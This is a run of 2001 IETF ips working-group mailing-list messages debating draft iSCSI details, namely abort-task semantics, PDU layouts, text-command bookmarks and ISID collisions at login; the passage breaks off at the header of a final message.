6 Sep 2001 04:14:37 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f866UBS07636 for ips-outgoing; Thu, 6 Sep 2001 02:30:11 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from bramg1.net.external.hp.com (bramg1.net.external.hp.com [192.6.126.73]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f866U6P07625 for ; Thu, 6 Sep 2001 02:30:07 -0400 (EDT) Received: from quasit.br.itc.hp.com (quasit.br.itc.hp.com [15.145.8.135]) by bramg1.net.external.hp.com (Postfix) with ESMTP id 0905512C; Thu, 6 Sep 2001 08:30:26 +0200 (METDST) Received: from loddon.br.itc.hp.com (loddon.br.itc.hp.com [15.145.8.166]) by quasit.br.itc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit6.0.6 OpenMail) with SMTP id HAA28144; Thu, 6 Sep 2001 07:29:55 +0100 (BST) Received: from 15.145.8.166 by loddon.br.itc.hp.com (InterScan E-Mail VirusWall NT); Thu, 06 Sep 2001 07:29:54 +0100 (GMT Daylight Time) Received: by loddon.br.itc.hp.com with Internet Mail Service (5.5.2653.19) id ; Thu, 6 Sep 2001 07:29:54 +0100 Message-ID: <0B9A57FF1D57D411B47500D0B73E5CC101E7A88D@dickens.bri.hp.com> From: "BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)" To: "'Sandeep Joshi'" , Julian Satran Cc: ips@ece.cmu.edu Subject: RE: iSCSI abort task - the saga continues Date: Thu, 6 Sep 2001 07:29:53 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="ISO-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Hi Julian and Sandeep, Is section 8.4 still value for Abort task Set, Clear Task Set etc? Cheers Matthew -----Original Message----- From: Sandeep Joshi [mailto:sandeepj@research.bell-labs.com] Sent: Tuesday, September 04, 2001 1:42 AM To: Julian Satran Cc: ips@ece.cmu.edu Subject: Re: iSCSI abort task - the saga continues Julian, Great..less complexity! a) I guess this eliminates Sec 8.3 & Sec 8.4 then ? Is there a need to eliminate unrelated commands which are lower than the cmdSN of the task to be aborted ? > For all the tasks covered by the task management response (i.e., with > CmdSN not higher than the task management command CmdSN), additional > responses MUST NOT be delivered to the SCSI layer after the task > management response. b) What is the value in retaining refCmdSN in the PDU now that the same connection is being used for abort task ? Even in case of failing connections, the ITT will be used by the target to determine if the task to be aborted exists, correct? -Sandeep Julian Satran wrote: > > Dear colleagues, > > Here is a simpler version of the Task Management Request & Response. > > Abort task is processed only at target but the initiator issues it only on > the same connection (as Santosh Rao once proposed) with the added semantic > that if the connection is failing it can be issued on a new connection and > it means both abort and change allegiance. Here is the proposed text: > > 1.1 Task Management Function Request > > Byte / 0 | 1 | 2 | 3 | > / | | | | > |7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0| > +---------------+---------------+---------------+---------------+ > 0|X|I| x02 |0| Function | Reserved | > +---------------+---------------+---------------+---------------+ > 4| Reserved | > +---------------+---------------+---------------+---------------+ > 8| Logical Unit Number (LUN) or Reserved | > + + > 12| | > +---------------+---------------+---------------+---------------+ > 16| Initiator Task Tag | > +---------------+---------------+---------------+---------------+ > 20| Referenced Task Tag or 0xffffffff | > +---------------+---------------+---------------+---------------+ > 24| CmdSN | > +---------------+---------------+---------------+---------------+ > 28| ExpStatSN | > +---------------+---------------+---------------+---------------+ > 32| RefCmdSN or ExpDataSN | > +---------------+---------------+---------------+---------------+ > 36/ Reserved / > +/ / > +---------------+---------------+---------------+---------------+ > 48 > > 1.1.1 Function > > The Task Management functions provide an initiator with a way to > explicitly control the execution of one or more Tasks (SCSI and iSCSI > tasks). The Task Management functions are (for a more detailed > description of SCSI task management see [SAM2]): > > 1 ABORT TASK - aborts the task identified by the Referenced > Task Tag field. > 2 ABORT TASK SET - aborts all Tasks issued by this initiator on > the Logical Unit. > 3 CLEAR ACA - clears the Auto Contingent Allegiance condition. > 4 CLEAR TASK SET - Aborts all Tasks (from all initiators) for the > Logical Unit. > 5 LOGICAL UNIT RESET > 6 TARGET WARM RESET > 7 TARGET COLD RESET > 8 TASK RESUME - restart the task identified by the Referenced Task Tag > field on this connection > 9 TASK REPLAY - replay the task identified by the Referenced Task Tag > field on this connection > > For all these functions, if executed, the Task Management Function > Response MUST be returned using the Initiator Task Tag to identify the > operation for which it is responding. All those functions apply to the > referenced tasks regardless if they are proper SCSI tasks or tagged > iSCSI operations. Task management commands must be executed as if all > the commands having a CmdSN lower or equal to the task management CmdSN > have been received by the target (i.e., have to be executed as if > received for ordered delivery even when marked for immediate delivery). > For all the tasks covered by the task management response (i.e., with > CmdSN not higher than the task management command CmdSN), additional > responses MUST NOT be delivered to the SCSI layer after the task > management response. > > ABORT TAST Task Management Request MUST be issued on the same connection > to which the task to be aborted is allegiant at the time the Task > Management Request is issued if the connection is still active (it is > not undergoing an implicit or explicit logout). If the connection is > being implicitly or explicitly logged out and no other request will be > issued on the failing connection and no other response will be received > on the failing connection then an ABORT TASK Task Management request may > be issued on another connection and this Task Management request will > both establish a new allegiance for the command to be aborted and will > abort it (i.e., a task to be aborted will not have to be reinstated, > restarted or replayed and its status if issued but not acknowledged will > be reissued). For the ABORT TASK task management request the target MUST > NOT deliver additional responses after the task management response. > Whether the initiator should deliver or not task responses while a TASK > ABORT is executing but before delivering the task management response is > a matter of implementation. > > For the LOGICAL UNIT RESET function, the target MUST behave as dictated > by the Logical Unit Reset function in [SAM2]. > > The TARGET RESET function (WARM and COLD) implementation is OPTIONAL and > when implemented should act as described below. Target Reset MAY be > also subject to SCSI access controls for the requesting initiator. When > not implemented or when authorization fails at target, Target Reset > functions should end as if the function was executed successfully and > the response qualifier will detail what was executed. > > For the TARGET WARM RESET and TARGET COLD RESET functions, the target > cancels all pending operations and are both equivalent to the Target > Reset function specified by [SAM2]. They can both affect many other > initiators. > > In addition, for the TARGET COLD RESET the target then MUST terminate > all of its TCP connections to all initiators (all sessions are > terminated). > > For the TASK RESUME and TASK REPLAY the target should resume executing > the referenced task respectively replay it completely. TASK REPLAY MUST > be received by the target ONLY after the status for the command was > issued. TASK RESUME MUST be received by the target ONLY after the > connection on which the command was previously executing has been > successfully logged-out. > TASK RESUME and TASK REPLAY MUST be issued as immediate commands. > > 1.1.2 LUN > > This field is required for functions addressing a specific LU (ABORT > TASK, CLEAR TASK SET, ABORT TASK SET, CLEAR ACA, LOGICAL UNIT RESET) and > is reserved in all others. > > 1.1.3 Referenced Task Tag > > Initiator Task Tag of the task to be aborted, restarted or replayed > > 1.1.4 RefCmdSN or ExpDataSN > > For ABORT TASK the task CmdSN to enable task removal. If RefCmdSN does > not match the CmdSN of the command to be aborted at the target > The abort action MUST not be performed and the response MUST be function > rejected. > > If the function is task resume establishing a new connection allegiance > for a previously issued command, this field will contain the next > consecutive input DataSN number expected by the initiator (no gaps) for > the referenced command in a previous execution. > > 1.2 Task Management Function Response > > Byte / 0 | 1 | 2 | 3 | > / | | | | > |7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0| > +---------------+---------------+---------------+---------------+ > 0|1|1| 0x22 |1| Reserved | > +---------------+---------------+---------------+---------------+ > 4/ Reserved / > / / > +---------------+---------------+---------------+---------------+ > 16| Initiator Task Tag | > +---------------+---------------+---------------+---------------+ > 20| Referenced Task Tag or 0xffffffff | > +---------------+---------------+---------------+---------------+ > 24| StatSN | > +---------------+---------------+---------------+---------------+ > 28| ExpCmdSN | > +---------------+---------------+---------------+---------------+ > 32| MaxCmdSN | > +---------------+---------------+---------------+---------------+ > 36| Response | Qualifier | Reserved | > +---------------+---------------+---------------+---------------+ > 40/ Reserved / > +/ / > +---------------+---------------+---------------+---------------+ > 48 > > For the functions ABORT TASK, ABORT TASK SET, CLEAR ACA, CLEAR TASK SET, > LOGICAL UNIT RESET, TARGET WARM RESET, the target performs the requested > Task Management function and sends a Task Management Response back to > the initiator. The target provides a Response, which may take on the > following values: > > 0 - Function Complete > 1 - Task specified in the Referenced Task Tag field was not in > task set > 2 - LUN does not exist > 3 - Task running on a connection that was not logged-out > 4 - Task failover not supported > 5 - Task in progress > 6 - Task replay not supported > 255 Function Rejected > > All other values are reserved. > > The Qualifier field provides additional information about the Response. > > For a Response of "Function Complete" the valid Qualifiers are: > > 0 - Function Executed > 1 - Not Authorized > > For the TARGET COLD RESET and TARGET WARM RESET functions, the target > cancels all pending operations. For the TARGET COLD RESET function the > target MUST then close all of its TCP connections to all initiators > (terminates all sessions). > > The mapping of the response code into a SCSI service response code, if > needed, is outside the scope of this document. > > 1.2.1 Referenced Task Tag > > Initiator Task Tag of the task not found used in conjunction with > responses referring to a specific task. It MUST be set to 0xffffffff in > other cases. > > Comments? > > Julo From owner-ips@ece.cmu.edu Thu Sep 6 11:43:36 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA00753 for ; Thu, 6 Sep 2001 11:43:35 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f86DkLt09612 for ips-outgoing; Thu, 6 Sep 2001 09:46:21 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.ivivity.com (user-vc8ftn3.biz.mindspring.com [216.135.246.227]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f86DkJP09608 for ; Thu, 6 Sep 2001 09:46:20 -0400 (EDT) Received: from EDDYLAPTOP ([192.168.1.245]) by mail.ivivity.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id QMJCN2TG; Thu, 6 Sep 2001 09:46:14 -0400 Reply-To: From: "Eddy Quicksall" To: Subject: RE: iSCSI - bookmarks change Date: Thu, 6 Sep 2001 09:43:55 -0400 Message-ID: <000001c136da$43f1b910$f501a8c0@eddylaptop> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit If the ITT is going to be kept, why not also have the TTT? The same argument used to justify the ITT for the initiator could be used to justify the TTT for the target. Eddy -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Thursday, September 06, 2001 1:12 AM To: ips@ece.cmu.edu Subject: Re: iSCSI - bookmarks change Mark, Comments in text - Julo Mark Bakke @cisco.com on 05-09-2001 22:21:31 Please respond to Mark Bakke Sent by: mbakke@cisco.com To: Julian Satran/Haifa/IBM@IBMIL cc: ips@ece.cmu.edu Subject: Re: iSCSI - bookmarks change The timeouts are the reason several of us had wanted something other than bookmarks in the first place; that's when we had proposed the "option 5" scheme that allowed an initiator to control the amount of data to be sent, and the target to not have to keep any state for text commands. Since the initiator has to keep state anyway (while waiting for responses), we did not want to also have to keep state on the target. +++ I understand that. I went through this line of though, and saw that the the target will anyhow have to implement a time-out as it can't completely rely aon the initiator for more than a single request/response (and even there not). It was preferable then to let thing be as simple as possible - 1 response/request. +++ Anyway, the bookmarks will work fine; I just want to see this not get too complicated, and not have too many options. If we are going to use bookmarks, I would at least like to see only one outstanding text command at a time, regardless of what we do with the ITT. I really don't see any difference between looking up an ITT or just looking at some value in a connection structure; I'll have the latter anyway. +++ Just regularity - the ITT mechanism is there and will be used for every PDU and for some recovery+++ I don't see the difficulty. Anyway, leaving ITT in does not hurt anything in the target, if we can at least change the SHOULD to MUST, the target can do the lookup either way. If we simply have to have a way for a special implementation to do multiple outstanding text commands, we could say: An initiator SHOULD have only one outstanding command on a connection at any given time. A target receiving a text command while another text command is in progress on the same connection MAY reject either or both commands. +++ OK +++ Standard implementations would then have only one outstanding command at a time; vendor-specific implementations could have multiples if they wish (providing that both initiator and target support them). -- From owner-ips@ece.cmu.edu Thu Sep 6 11:47:54 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA00834 for ; Thu, 6 Sep 2001 11:47:54 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f86DS4D08303 for ips-outgoing; Thu, 6 Sep 2001 09:28:04 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f86DRwP08290 for ; Thu, 6 Sep 2001 09:27:58 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate-2.de.ibm.com (1.0.0) with ESMTP id PAA43864; Thu, 6 Sep 2001 15:27:32 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f86DRTH93644; Thu, 6 Sep 2001 15:27:29 +0200 Importance: Normal Subject: RE: iSCSI abort task - the saga continues To: "BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)" Cc: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Thu, 6 Sep 2001 16:26:46 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.6 |December 14, 2000) at 06/09/2001 16:27:29 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk No - Julo "BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)" @ece.cmu.edu on 06-09-2001 09:31:28 Please respond to "BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)" Sent by: owner-ips@ece.cmu.edu To: ips@ece.cmu.edu cc: Subject: RE: iSCSI abort task - the saga continues Hi Julian and Sandeep, Is section 8.4 still value for Abort task Set, Clear Task Set etc? Cheers Matthew -----Original Message----- From: Sandeep Joshi [mailto:sandeepj@research.bell-labs.com] Sent: Tuesday, September 04, 2001 1:42 AM To: Julian Satran Cc: ips@ece.cmu.edu Subject: Re: iSCSI abort task - the saga continues Julian, Great..less complexity! a) I guess this eliminates Sec 8.3 & Sec 8.4 then ? Is there a need to eliminate unrelated commands which are lower than the cmdSN of the task to be aborted ? > For all the tasks covered by the task management response (i.e., with > CmdSN not higher than the task management command CmdSN), additional > responses MUST NOT be delivered to the SCSI layer after the task > management response. b) What is the value in retaining refCmdSN in the PDU now that the same connection is being used for abort task ? Even in case of failing connections, the ITT will be used by the target to determine if the task to be aborted exists, correct? -Sandeep Julian Satran wrote: > > Dear colleagues, > > Here is a simpler version of the Task Management Request & Response. > > Abort task is processed only at target but the initiator issues it only on > the same connection (as Santosh Rao once proposed) with the added semantic > that if the connection is failing it can be issued on a new connection and > it means both abort and change allegiance. Here is the proposed text: > > 1.1 Task Management Function Request > > Byte / 0 | 1 | 2 | 3 | > / | | | | > |7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0| > +---------------+---------------+---------------+---------------+ > 0|X|I| x02 |0| Function | Reserved | > +---------------+---------------+---------------+---------------+ > 4| Reserved | > +---------------+---------------+---------------+---------------+ > 8| Logical Unit Number (LUN) or Reserved | > + + > 12| | > +---------------+---------------+---------------+---------------+ > 16| Initiator Task Tag | > +---------------+---------------+---------------+---------------+ > 20| Referenced Task Tag or 0xffffffff | > +---------------+---------------+---------------+---------------+ > 24| CmdSN | > +---------------+---------------+---------------+---------------+ > 28| ExpStatSN | > +---------------+---------------+---------------+---------------+ > 32| RefCmdSN or ExpDataSN | > +---------------+---------------+---------------+---------------+ > 36/ Reserved / > +/ / > +---------------+---------------+---------------+---------------+ > 48 > > 1.1.1 Function > > The Task Management functions provide an initiator with a way to > explicitly control the execution of one or more Tasks (SCSI and iSCSI > tasks). The Task Management functions are (for a more detailed > description of SCSI task management see [SAM2]): > > 1 ABORT TASK - aborts the task identified by the Referenced > Task Tag field. > 2 ABORT TASK SET - aborts all Tasks issued by this initiator on > the Logical Unit. > 3 CLEAR ACA - clears the Auto Contingent Allegiance condition. > 4 CLEAR TASK SET - Aborts all Tasks (from all initiators) for the > Logical Unit. > 5 LOGICAL UNIT RESET > 6 TARGET WARM RESET > 7 TARGET COLD RESET > 8 TASK RESUME - restart the task identified by the Referenced Task Tag > field on this connection > 9 TASK REPLAY - replay the task identified by the Referenced Task Tag > field on this connection > > For all these functions, if executed, the Task Management Function > Response MUST be returned using the Initiator Task Tag to identify the > operation for which it is responding. All those functions apply to the > referenced tasks regardless if they are proper SCSI tasks or tagged > iSCSI operations. Task management commands must be executed as if all > the commands having a CmdSN lower or equal to the task management CmdSN > have been received by the target (i.e., have to be executed as if > received for ordered delivery even when marked for immediate delivery). > For all the tasks covered by the task management response (i.e., with > CmdSN not higher than the task management command CmdSN), additional > responses MUST NOT be delivered to the SCSI layer after the task > management response. > > ABORT TAST Task Management Request MUST be issued on the same connection > to which the task to be aborted is allegiant at the time the Task > Management Request is issued if the connection is still active (it is > not undergoing an implicit or explicit logout). If the connection is > being implicitly or explicitly logged out and no other request will be > issued on the failing connection and no other response will be received > on the failing connection then an ABORT TASK Task Management request may > be issued on another connection and this Task Management request will > both establish a new allegiance for the command to be aborted and will > abort it (i.e., a task to be aborted will not have to be reinstated, > restarted or replayed and its status if issued but not acknowledged will > be reissued). For the ABORT TASK task management request the target MUST > NOT deliver additional responses after the task management response. > Whether the initiator should deliver or not task responses while a TASK > ABORT is executing but before delivering the task management response is > a matter of implementation. > > For the LOGICAL UNIT RESET function, the target MUST behave as dictated > by the Logical Unit Reset function in [SAM2]. > > The TARGET RESET function (WARM and COLD) implementation is OPTIONAL and > when implemented should act as described below. Target Reset MAY be > also subject to SCSI access controls for the requesting initiator. When > not implemented or when authorization fails at target, Target Reset > functions should end as if the function was executed successfully and > the response qualifier will detail what was executed. > > For the TARGET WARM RESET and TARGET COLD RESET functions, the target > cancels all pending operations and are both equivalent to the Target > Reset function specified by [SAM2]. They can both affect many other > initiators. > > In addition, for the TARGET COLD RESET the target then MUST terminate > all of its TCP connections to all initiators (all sessions are > terminated). > > For the TASK RESUME and TASK REPLAY the target should resume executing > the referenced task respectively replay it completely. TASK REPLAY MUST > be received by the target ONLY after the status for the command was > issued. TASK RESUME MUST be received by the target ONLY after the > connection on which the command was previously executing has been > successfully logged-out. > TASK RESUME and TASK REPLAY MUST be issued as immediate commands. > > 1.1.2 LUN > > This field is required for functions addressing a specific LU (ABORT > TASK, CLEAR TASK SET, ABORT TASK SET, CLEAR ACA, LOGICAL UNIT RESET) and > is reserved in all others. > > 1.1.3 Referenced Task Tag > > Initiator Task Tag of the task to be aborted, restarted or replayed > > 1.1.4 RefCmdSN or ExpDataSN > > For ABORT TASK the task CmdSN to enable task removal. If RefCmdSN does > not match the CmdSN of the command to be aborted at the target > The abort action MUST not be performed and the response MUST be function > rejected. > > If the function is task resume establishing a new connection allegiance > for a previously issued command, this field will contain the next > consecutive input DataSN number expected by the initiator (no gaps) for > the referenced command in a previous execution. > > 1.2 Task Management Function Response > > Byte / 0 | 1 | 2 | 3 | > / | | | | > |7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0| > +---------------+---------------+---------------+---------------+ > 0|1|1| 0x22 |1| Reserved | > +---------------+---------------+---------------+---------------+ > 4/ Reserved / > / / > +---------------+---------------+---------------+---------------+ > 16| Initiator Task Tag | > +---------------+---------------+---------------+---------------+ > 20| Referenced Task Tag or 0xffffffff | > +---------------+---------------+---------------+---------------+ > 24| StatSN | > +---------------+---------------+---------------+---------------+ > 28| ExpCmdSN | > +---------------+---------------+---------------+---------------+ > 32| MaxCmdSN | > +---------------+---------------+---------------+---------------+ > 36| Response | Qualifier | Reserved | > +---------------+---------------+---------------+---------------+ > 40/ Reserved / > +/ / > +---------------+---------------+---------------+---------------+ > 48 > > For the functions ABORT TASK, ABORT TASK SET, CLEAR ACA, CLEAR TASK SET, > LOGICAL UNIT RESET, TARGET WARM RESET, the target performs the requested > Task Management function and sends a Task Management Response back to > the initiator. The target provides a Response, which may take on the > following values: > > 0 - Function Complete > 1 - Task specified in the Referenced Task Tag field was not in > task set > 2 - LUN does not exist > 3 - Task running on a connection that was not logged-out > 4 - Task failover not supported > 5 - Task in progress > 6 - Task replay not supported > 255 Function Rejected > > All other values are reserved. > > The Qualifier field provides additional information about the Response. > > For a Response of "Function Complete" the valid Qualifiers are: > > 0 - Function Executed > 1 - Not Authorized > > For the TARGET COLD RESET and TARGET WARM RESET functions, the target > cancels all pending operations. For the TARGET COLD RESET function the > target MUST then close all of its TCP connections to all initiators > (terminates all sessions). > > The mapping of the response code into a SCSI service response code, if > needed, is outside the scope of this document. > > 1.2.1 Referenced Task Tag > > Initiator Task Tag of the task not found used in conjunction with > responses referring to a specific task. It MUST be set to 0xffffffff in > other cases. > > Comments? > > Julo From owner-ips@ece.cmu.edu Thu Sep 6 12:36:41 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA02053 for ; Thu, 6 Sep 2001 12:36:40 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f86EHQI11730 for ips-outgoing; Thu, 6 Sep 2001 10:17:26 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mxic2.us.dg.com (mxic2.us.dg.com [128.221.31.40]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f86EHPP11725 for ; Thu, 6 Sep 2001 10:17:25 -0400 (EDT) Received: by mxic2.us.dg.com with Internet Mail Service (5.5.2653.19) id ; Thu, 6 Sep 2001 10:14:51 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71ECAD6F2@CORPMX14> From: Black_David@emc.com To: Nick.Martin@compaq.com, ips@ece.cmu.edu Subject: RE: iSCSI: login issue - partial consensus call Date: Thu, 6 Sep 2001 10:10:37 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Trying to close this issue, I think Nick's points are valid and answer the question about when the "C-bit" would not be set -- when the entity sending the command suspects (or wants to protect against) a problem in ISID assignment. That appears to make option B) the right choice: B) Should iSCSI mandate making this intended cleanup explicit by setting a bit (Say C-bit, for Clear) in the Login Command PDU to prevent an accidental session cleanup with a buggy initiator code? I have the following additional comments: (1) A new bit is needed. Reuse of the X-bit for this purpose has been rejected by rough consensus of the WG. (2) In order to deal with the worst case, every iSCSI implementation MUST have an administrative interface that can prevent this new "C-bit" from ever being set, even if the implementation thinks that setting it is the right thing to do. This provides a way to deal with situations in which sessions are getting stomped on by ISID problems. (3) Some additional words about ISID usage are needed to encompass scenarios in which ISID assignment is not present, does not assign enough ISIDs, or fails for some reason. Comments are welcome. Further objection to B) needs to explain why Nick's scenarios should not be considered. I was disappointed to see a prior statement that the ISIDs would be different "by definition" - this is in the same category as saying that software and protocol implementations are bug-free "by definition". Keep in mind that Nick is correct in saying: > The problem is that iSCSI does not and will not specify how two HBAs > from different vendors installed in the same Initiator should or could > get a range of ISIDs for their exclusive use. This will be operating > system specific and vendor defined. Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- > -----Original Message----- > From: Martin, Nick [mailto:Nick.Martin@compaq.com] > Sent: Wednesday, September 05, 2001 5:50 PM > To: KRUEGER,MARJORIE (HP-Roseville,ex1); ips@ece.cmu.edu > Subject: RE: iSCSI: login issue - partial consensus call > > > Marj, > > You mention vendors not knowing how to play right. > The problem is that iSCSI does not and will not specify how two HBAs > from different vendors installed in the same Initiator should or could > get a range of ISIDs for their exclusive use. This will be operating > system specific and vendor defined. It is uncertain that the same tool > or repository would be used by all HBA vendors in any environment. > Given this, accidental overlap in ISID space is not unlikely. > > Given that there is no one way to play right, we must make sure that > everyone can at least play nice. > > My expectation is that sessions are infrequently established and long > lived. ISIDs may be re-used at will by their current owners. When no > "already owned" ISIDs are available, or an attempt to re-use an "already > owned" ISID failed, and HBA would need to a) "probe" for a new available > ISID or b) fail the request to establish the session. Session recovery > should not be attempted unless a session is known to have failed. > > If tools are available, and the administrator has used them correctly, > then HBAs will not collide in ISID space. If the tools are not > available or were not used correctly, I would hope the second HBA can > still attempt to come up without impacting the sessions established by > the first. > > Again, I state my support for a login with existing ISID harmlessly > fails (the Target state does not change) unless a session recovery > indicator is set. Also if a session recovery indicator is set, and the > ISID is not in use (by this Initiator at this Target), the login also > fails. > > Thanks, > Nick > -----Original Message----- > From: KRUEGER,MARJORIE (HP-Roseville,ex1) > [mailto:marjorie_krueger@hp.com] > Sent: Friday, August 31, 2001 12:09 PM > To: Martin, Nick; ips@ece.cmu.edu > Subject: RE: iSCSI: login issue - partial consensus call > > > > In particular this enables independent agents within the same > initiator to > > attempt a login without knowing all ISIDs in use by other agents. > Each > > agent would know the ISID of sessions it had successfully > established, > but > > not the ISIDs for sessions established by others. It can use the > ISIDs it > > knows to recover sessions it owns. If an agent gets a failure > attempting > to > > establish a new session, it would pick a different ISID and > > retry (or just quit), rather than disrupting a session of another > agent. > > The intent of the presentation on SCSI/iSCSI modeling, and the text in > the > draft, is to illustrate how this example is not a recommended > implementation > choice due to the probability of violating the SCSI/iSCSI > rules pointed > out. > If the "independant agents" had partitioned the ISID space, > there would > be > no collision on login and no time wasted. Your illustrated > implementation > could spend significant time "trying" ISID's in use by the "other > agents". > > However, I'm starting to have more sympathy with Julian's concerns due > to > the apparent risks of different vendors' initiator implementations not > following the rules. > > I just imagined having vendor A's HBA installed and happily servicing > applications, installing vendor B's "plug-n-play" implementation, and > having > all A's sessions aborted cause B doesn't know how to play right :-( > > Marj > From owner-ips@ece.cmu.edu Thu Sep 6 12:48:49 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA02340 for ; Thu, 6 Sep 2001 12:48:49 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f86FIpG16994 for ips-outgoing; Thu, 6 Sep 2001 11:18:51 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.ivivity.com (user-vc8ftn3.biz.mindspring.com [216.135.246.227]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f86FInP16989 for ; Thu, 6 Sep 2001 11:18:49 -0400 (EDT) Received: from EDDYLAPTOP ([192.168.1.245]) by mail.ivivity.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id QMJCN24D; Thu, 6 Sep 2001 11:18:43 -0400 Reply-To: From: "Eddy Quicksall" To: "IPS" Subject: RE: iSCSI: Async events - SCSI and iSCSI Date: Thu, 6 Sep 2001 11:18:24 -0400 Message-ID: <000201c136e7$2c9fa5d0$f501a8c0@eddylaptop> MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal In-Reply-To: <3B968668.54868BDC@cisco.com> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit In this case, why not just combine the fields? Eddy -----Original Message----- From: Mark Bakke [mailto:mbakke@cisco.com] Sent: Wednesday, September 05, 2001 4:09 PM To: IPS Subject: iSCSI: Async events - SCSI and iSCSI Julian- I was looking at Async Message some more, and noticed that there is nothing to stop a target from sending a message that includes both iSCSI and SCSI events, since each of these are communicated with a different set of fields. I would guess that this is not what is intended, and that the target ought to send one or the other. Can we add some text to say: A target may send this message as either a SCSI Event or an iSCSI Event, but not both. Either the SCSI Event or iSCSI Event field MUST be zero. -- Mark A. Bakke Cisco Systems mbakke@cisco.com 763.398.1054 From owner-ips@ece.cmu.edu Thu Sep 6 13:30:45 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA03430 for ; Thu, 6 Sep 2001 13:30:43 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f86EvPF15294 for ips-outgoing; Thu, 6 Sep 2001 10:57:25 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.ivivity.com (user-vc8ftn3.biz.mindspring.com [216.135.246.227]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f86EvLP15284 for ; Thu, 6 Sep 2001 10:57:21 -0400 (EDT) Received: from EDDYLAPTOP ([192.168.1.245]) by mail.ivivity.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id QMJCN24A; Thu, 6 Sep 2001 10:57:08 -0400 Reply-To: From: "Eddy Quicksall" 